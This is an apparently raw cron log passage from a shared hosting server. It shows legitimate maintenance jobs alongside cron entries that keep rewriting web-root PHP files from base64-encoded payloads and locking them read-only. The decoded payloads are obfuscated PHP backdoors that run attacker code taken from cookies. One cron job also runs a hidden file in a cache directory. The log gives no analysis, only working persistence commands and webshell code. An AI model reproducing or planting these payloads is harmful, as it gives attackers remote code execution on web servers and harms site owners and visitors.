oNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:05:02 medusa CROND[3565]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:05:02 medusa CROND[3556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:05:02 medusa CROND[3570]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:05:02 medusa CROND[3579]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:05:02 medusa CROND[3590]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 07:05:02 medusa CROND[3591]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:05:02 medusa CROND[3592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:06:01 medusa CROND[8407]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 07:06:01 medusa CROND[8408]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:06:01 medusa CROND[8409]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:06:01 medusa CROND[8410]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:06:01 medusa CROND[8412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:06:01 medusa CROND[8414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:06:01 medusa CROND[8411]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:06:01 medusa CROND[8416]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:06:01 medusa CROND[8417]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:06:01 medusa CROND[8418]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:06:01 medusa CROND[8422]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 07:06:01 medusa CROND[8421]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:06:01 medusa CROND[8423]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:06:01 medusa CROND[8425]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:06:01 medusa CROND[8429]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 07:07:01 medusa CROND[11698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:07:01 medusa CROND[11699]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:07:01 medusa CROND[11700]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:07:01 medusa CROND[11702]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:07:01 medusa CROND[11703]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 07:07:01 medusa CROND[11704]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:07:01 medusa CROND[11706]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:07:01 medusa CROND[11707]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:07:01 medusa CROND[11712]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
